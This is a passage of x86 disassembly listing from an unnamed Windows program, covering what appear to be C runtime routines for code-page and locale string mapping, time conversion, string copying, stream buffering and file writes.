		pop	ecx
		jmp	short loc_41C5AD
; ---------------------------------------------------------------------------


loc_41C5A2:				; CODE XREF: sub_41C557+3Dj
		mov	eax, off_435C2C
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_41C5AD:				; CODE XREF: sub_41C557+49j
		test	eax, eax
		jnz	short loc_41C5B5


loc_41C5B1:				; CODE XREF: sub_41C557+AFj
		mov	eax, ebx
		jmp	short loc_41C620
; ---------------------------------------------------------------------------


loc_41C5B5:				; CODE XREF: sub_41C557+34j
					; sub_41C557+58j
		mov	edx, off_435C2C
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41C5D8
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41C5E1
; ---------------------------------------------------------------------------


loc_41C5D8:				; CODE XREF: sub_41C557+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_41C5E1:				; CODE XREF: sub_41C557+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_49288C
		call	sub_41CC29
		add	esp, 20h
		test	eax, eax
		jz	short loc_41C5B1
		cmp	eax, 1
		jnz	short loc_41C613
		movzx	eax, [ebp+var_4]
		jmp	short loc_41C620
; ---------------------------------------------------------------------------


loc_41C613:				; CODE XREF: sub_41C557+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41C620:				; CODE XREF: sub_41C557+14j
					; sub_41C557+1Dj ...
		pop	ebx
		leave
		retn
sub_41C557	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C623	proc near		; CODE XREF: sub_4174F2+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41C6DF
		cmp	ebx, 8Ah
		jg	loc_41C6DF
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_436564[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41C662
		cmp	edi, 2
		jle	short loc_41C662
		inc	esi


loc_41C662:				; CODE XREF: sub_41C623+37j
					; sub_41C623+3Cj
		call	sub_41F19D
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_436480
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41C6D5
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41C6DB
		cmp	dword_436484, 0
		jz	short loc_41C6DB
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41F410
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41C6DB


loc_41C6D5:				; CODE XREF: sub_41C623+90j
		add	ecx, dword_436488


loc_41C6DB:				; CODE XREF: sub_41C623+96j
					; sub_41C623+9Fj ...
		mov	eax, ecx
		jmp	short loc_41C6E2
; ---------------------------------------------------------------------------


loc_41C6DF:				; CODE XREF: sub_41C623+13j
					; sub_41C623+1Fj
		or	eax, 0FFFFFFFFh


loc_41C6E2:				; CODE XREF: sub_41C623+BAj
		pop	ebx
		leave
		retn
sub_41C623	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C6E5	proc near		; CODE XREF: sub_41CAB9+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41C87E	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_493FA0
		mov	[ebp+arg_0], esi
		jz	loc_41C872
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41C868
		xor	edx, edx
		mov	eax, offset dword_435FB8


loc_41C719:				; CODE XREF: sub_41C6E5+41j
		cmp	[eax], esi
		jz	short loc_41C78F
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_4360A8
		jl	short loc_41C719
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	ds:dword_495468	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41C860
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_494140
		cmp	[ebp+var_18], 1
		mov	dword_493FA0, esi
		rep stosd
		stosb
		mov	dword_494244, ebx
		jbe	loc_41C84E
		cmp	[ebp+var_12], 0
		jz	loc_41C824
		lea	ecx, [ebp+var_11]


loc_41C76C:				; CODE XREF: sub_41C6E5+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41C824
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41C77D:				; CODE XREF: sub_41C6E5+A8j
		cmp	eax, edx
		ja	loc_41C818
		or	byte_494141[eax], 4
		inc	eax
		jmp	short loc_41C77D
; ---------------------------------------------------------------------------


loc_41C78F:				; CODE XREF: sub_41C6E5+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_494140
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_435FC8[esi]


loc_41C7AB:				; CODE XREF: sub_41C6E5+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41C7DE


loc_41C7B2:				; CODE XREF: sub_41C6E5+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41C7DE
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41C7D7
		mov	edx, [ebp+var_4]
		mov	dl, byte_435FB0[edx]


loc_41C7CC:				; CODE XREF: sub_41C6E5+F0j
		or	byte_494141[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41C7CC


loc_41C7D7:				; CODE XREF: sub_41C6E5+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41C7B2


loc_41C7DE:				; CODE XREF: sub_41C6E5+CBj
					; sub_41C6E5+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41C7AB
		mov	eax, [ebp+arg_0]
		mov	dword_49402C, 1
		push	eax
		mov	dword_493FA0, eax
		call	sub_41C8C8
		lea	esi, dword_435FBC[esi]
		mov	edi, offset dword_494020
		movsd
		movsd
		pop	ecx
		mov	dword_494244, eax
		movsd
		jmp	short loc_41C86D
; ---------------------------------------------------------------------------


loc_41C818:				; CODE XREF: sub_41C6E5+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41C76C


loc_41C824:				; CODE XREF: sub_41C6E5+7Ej
					; sub_41C6E5+8Bj
		push	1
		pop	eax


loc_41C827:				; CODE XREF: sub_41C6E5+14Fj
		or	byte_494141[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41C827
		push	esi
		call	sub_41C8C8
		pop	ecx
		mov	dword_494244, eax
		mov	dword_49402C, 1
		jmp	short loc_41C854
; ---------------------------------------------------------------------------


loc_41C84E:				; CODE XREF: sub_41C6E5+74j
		mov	dword_49402C, ebx


loc_41C854:				; CODE XREF: sub_41C6E5+167j
		xor	eax, eax
		mov	edi, offset dword_494020
		stosd
		stosd
		stosd
		jmp	short loc_41C86D
; ---------------------------------------------------------------------------


loc_41C860:				; CODE XREF: sub_41C6E5+51j
		cmp	dword_492874, ebx
		jz	short loc_41C876


loc_41C868:				; CODE XREF: sub_41C6E5+27j
		call	sub_41C8FB


loc_41C86D:				; CODE XREF: sub_41C6E5+131j
					; sub_41C6E5+179j
		call	sub_41C924


loc_41C872:				; CODE XREF: sub_41C6E5+1Dj
		xor	eax, eax
		jmp	short loc_41C879
; ---------------------------------------------------------------------------


loc_41C876:				; CODE XREF: sub_41C6E5+181j
		or	eax, 0FFFFFFFFh


loc_41C879:				; CODE XREF: sub_41C6E5+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C6E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C87E	proc near		; CODE XREF: sub_41C6E5+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_492874, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41C89E
		mov	dword_492874, 1
		jmp	ds:dword_495470
; ---------------------------------------------------------------------------


loc_41C89E:				; CODE XREF: sub_41C87E+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41C8B3
		mov	dword_492874, 1
		jmp	ds:dword_49546C
; ---------------------------------------------------------------------------


loc_41C8B3:				; CODE XREF: sub_41C87E+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41C8C7
		mov	eax, dword_49289C
		mov	dword_492874, 1

locret_41C8C7:				; CODE XREF: sub_41C87E+38j
		retn
sub_41C87E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C8C8	proc near		; CODE XREF: sub_41C6E5+118p
					; sub_41C6E5+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41C8F5
		sub	eax, 4
		jz	short loc_41C8EF
		sub	eax, 0Dh
		jz	short loc_41C8E9
		dec	eax
		jz	short loc_41C8E3
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C8E3:				; CODE XREF: sub_41C8C8+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41C8E9:				; CODE XREF: sub_41C8C8+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41C8EF:				; CODE XREF: sub_41C8C8+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41C8F5:				; CODE XREF: sub_41C8C8+9j
		mov	eax, 411h
		retn
sub_41C8C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C8FB	proc near		; CODE XREF: sub_41C6E5:loc_41C868p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_494140
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_494020
		mov	dword_493FA0, eax
		mov	dword_49402C, eax
		mov	dword_494244, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41C8FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C924	proc near		; CODE XREF: sub_41C6E5:loc_41C86Dp

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_493FA0
		call	ds:dword_495468	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41CA5D
		xor	eax, eax
		mov	esi, 100h


loc_41C94E:				; CODE XREF: sub_41C924+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41C94E
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41C99F
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_41C96D:				; CODE XREF: sub_41C924+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41C994
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41C994:				; CODE XREF: sub_41C924+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41C96D
		pop	edi
		pop	ebx


loc_41C99F:				; CODE XREF: sub_41C924+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_494244
		push	dword_493FA0
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41EACD
		push	0
		lea	eax, [ebp+var_214]
		push	dword_493FA0
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_494244
		call	sub_41CC29
		push	0
		lea	eax, [ebp+var_314]
		push	dword_493FA0
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_494244
		call	sub_41CC29
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_41CA1A:				; CODE XREF: sub_41C924+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41CA38
		or	byte_494141[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_41CA30:				; CODE XREF: sub_41C924+127j
		mov	byte_494040[eax], dl
		jmp	short loc_41CA54
; ---------------------------------------------------------------------------


loc_41CA38:				; CODE XREF: sub_41C924+FCj
		test	dl, 2
		jz	short loc_41CA4D
		or	byte_494141[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41CA30
; ---------------------------------------------------------------------------


loc_41CA4D:				; CODE XREF: sub_41C924+117j
		and	byte_494040[eax], 0


loc_41CA54:				; CODE XREF: sub_41C924+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41CA1A
		jmp	short loc_41CAA6
; ---------------------------------------------------------------------------


loc_41CA5D:				; CODE XREF: sub_41C924+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_41CA64:				; CODE XREF: sub_41C924+180j
		cmp	eax, 41h
		jb	short loc_41CA82
		cmp	eax, 5Ah
		ja	short loc_41CA82
		or	byte_494141[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41CA7A:				; CODE XREF: sub_41C924+174j
		mov	byte_494040[eax], cl
		jmp	short loc_41CAA1
; ---------------------------------------------------------------------------


loc_41CA82:				; CODE XREF: sub_41C924+143j
					; sub_41C924+148j
		cmp	eax, 61h
		jb	short loc_41CA9A
		cmp	eax, 7Ah
		ja	short loc_41CA9A
		or	byte_494141[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------


loc_41CA9A:				; CODE XREF: sub_41C924+161j
					; sub_41C924+166j
		and	byte_494040[eax], 0


loc_41CAA1:				; CODE XREF: sub_41C924+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41CA64


loc_41CAA6:				; CODE XREF: sub_41C924+137j
		pop	esi
		leave
		retn
sub_41C924	endp

; ---------------------------------------------------------------------------
		mov	eax, dword_49402C
		neg	eax
		sbb	eax, eax
		and	eax, dword_493FA0
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41CAB9	proc near		; CODE XREF: sub_41D1EE+9p
					; sub_41D246+Dp ...
		cmp	dword_494294, 0
		jnz	short locret_41CAD4
		push	0FFFFFFFDh
		call	sub_41C6E5
		pop	ecx
		mov	dword_494294, 1

locret_41CAD4:				; CODE XREF: sub_41CAB9+7j
		retn
sub_41CAB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAD5	proc near		; CODE XREF: sub_417900+2Bp
					; sub_417900+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_49402C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41CAF9
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_416A10
		add	esp, 0Ch
		jmp	short loc_41CB5C
; ---------------------------------------------------------------------------


loc_41CAF9:				; CODE XREF: sub_41CAD5+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41CB3E
		mov	ecx, [ebp+arg_4]


loc_41CB04:				; CODE XREF: sub_41CAD5+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_494141[esi], 4
		mov	[edi], al
		jz	short loc_41CB28
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41CB34
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41CB3A
		jmp	short loc_41CB2E
; ---------------------------------------------------------------------------


loc_41CB28:				; CODE XREF: sub_41CAD5+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41CB3E


loc_41CB2E:				; CODE XREF: sub_41CAD5+51j
		test	edx, edx
		jnz	short loc_41CB04
		jmp	short loc_41CB3E
; ---------------------------------------------------------------------------


loc_41CB34:				; CODE XREF: sub_41CAD5+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41CB3E
; ---------------------------------------------------------------------------


loc_41CB3A:				; CODE XREF: sub_41CAD5+4Fj
		and	byte ptr [edi-2], 0


loc_41CB3E:				; CODE XREF: sub_41CAD5+2Aj
					; sub_41CAD5+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41CB59
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41CB59:				; CODE XREF: sub_41CAD5+6Fj
		mov	eax, [ebp+arg_0]


loc_41CB5C:				; CODE XREF: sub_41CAD5+22j
		pop	edi
		pop	ebp
		retn
sub_41CAD5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB5F	proc near		; CODE XREF: sub_417AD3+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41E5C2
		test	eax, eax
		pop	ecx
		jz	short loc_41CBE8
		cmp	esi, offset dword_436220
		jnz	short loc_41CB7D
		xor	eax, eax
		jmp	short loc_41CB88
; ---------------------------------------------------------------------------


loc_41CB7D:				; CODE XREF: sub_41CB5F+18j
		cmp	esi, offset dword_436240
		jnz	short loc_41CBE8
		push	1
		pop	eax


loc_41CB88:				; CODE XREF: sub_41CB5F+1Cj
		inc	dword_4929E8
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41CBE8
		cmp	dword_492878[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:492878h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_41CBCE
		push	ebx
		call	sub_415CF8
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_41CBCE
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_41CBDB
; ---------------------------------------------------------------------------


loc_41CBCE:				; CODE XREF: sub_41CB5F+4Dj
					; sub_41CB5F+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_41CBDB:				; CODE XREF: sub_41CB5F+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41CBE8:				; CODE XREF: sub_41CB5F+10j
					; sub_41CB5F+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_41CB5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBEC	proc near		; CODE XREF: sub_417AD3+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41CC16
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41CC27
		push	esi
		call	sub_41BF5F
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41CC16:				; CODE XREF: sub_41CBEC+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41CC27
		push	eax
		call	sub_41BF5F
		pop	ecx


loc_41CC27:				; CODE XREF: sub_41CBEC+10j
					; sub_41CBEC+32j
		pop	esi
		retn
sub_41CBEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC29	proc near		; CODE XREF: sub_417C24+A3p
					; sub_41C557+A5p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427828
		push	offset sub_41D854
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_492880, edi
		jnz	short loc_41CC9F
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427824
		mov	esi, 100h
		push	esi
		push	edi
		call	ds:dword_495478	; LCMapStringW
		test	eax, eax
		jz	short loc_41CC7D
		mov	dword_492880, ebx
		jmp	short loc_41CC9F
; ---------------------------------------------------------------------------


loc_41CC7D:				; CODE XREF: sub_41CC29+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4370B8
		push	esi
		push	edi
		call	ds:dword_495474	; LCMapStringA
		test	eax, eax
		jz	loc_41CDB7
		mov	dword_492880, 2


loc_41CC9F:				; CODE XREF: sub_41CC29+2Ej
					; sub_41CC29+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41CCB4
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_41CE4D
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_41CCB4:				; CODE XREF: sub_41CC29+79j
		mov	eax, dword_492880
		cmp	eax, 2
		jnz	short loc_41CCDB
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_495474	; LCMapStringA
		jmp	loc_41CDB9
; ---------------------------------------------------------------------------


loc_41CCDB:				; CODE XREF: sub_41CC29+93j
		cmp	eax, 1
		jnz	loc_41CDB7
		cmp	[ebp+arg_18], edi
		jnz	short loc_41CCF1
		mov	eax, dword_49289C
		mov	[ebp+arg_18], eax


loc_41CCF1:				; CODE XREF: sub_41CC29+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	ds:dword_4953EC	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41CDB7
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_416880
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41CD4C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_41CD4C:				; CODE XREF: sub_41CC29+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41CDB7
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_4953EC	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41CDB7
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_495478	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41CDB7
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41CDCB
		cmp	[ebp+arg_14], edi
		jz	loc_41CE46
		cmp	esi, [ebp+arg_14]
		jg	short loc_41CDB7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_495478	; LCMapStringW
		test	eax, eax
		jnz	loc_41CE46


loc_41CDB7:				; CODE XREF: sub_41CC29+66j
					; sub_41CC29+B5j ...
		xor	eax, eax


loc_41CDB9:				; CODE XREF: sub_41CC29+ADj
					; sub_41CC29+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41CDCB:				; CODE XREF: sub_41CC29+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_416880
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41CDFF
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_41CDFF:				; CODE XREF: sub_41CC29+1C2j
		cmp	ebx, edi
		jz	short loc_41CDB7
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_495478	; LCMapStringW
		test	eax, eax
		jz	short loc_41CDB7
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41CE26
		push	edi
		push	edi
		jmp	short loc_41CE2C
; ---------------------------------------------------------------------------


loc_41CE26:				; CODE XREF: sub_41CC29+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_41CE2C:				; CODE XREF: sub_41CC29+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	ds:dword_4953E8	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41CDB7


loc_41CE46:				; CODE XREF: sub_41CC29+165j
					; sub_41CC29+188j
		mov	eax, esi
		jmp	loc_41CDB9
sub_41CC29	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CE4D	proc near		; CODE XREF: sub_41CC29+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_41CE6A


loc_41CE5D:				; CODE XREF: sub_41CE4D+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_41CE6A
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_41CE5D


loc_41CE6A:				; CODE XREF: sub_41CE4D+Ej
					; sub_41CE4D+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_41CE75
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_41CE75:				; CODE XREF: sub_41CE4D+21j
		mov	eax, edx
		retn
sub_41CE4D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CE78	proc near		; CODE XREF: sub_417E44+67p
					; sub_41A9D8+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_493F9C
		push	esi
		push	edi
		jnb	short loc_41CEFA
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:493E60h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41CEFA
		push	eax
		call	sub_41ED9C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41CEBC
		mov	dword_4927F4, 9
		jmp	short loc_41CF0B
; ---------------------------------------------------------------------------


loc_41CEBC:				; CODE XREF: sub_41CE78+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
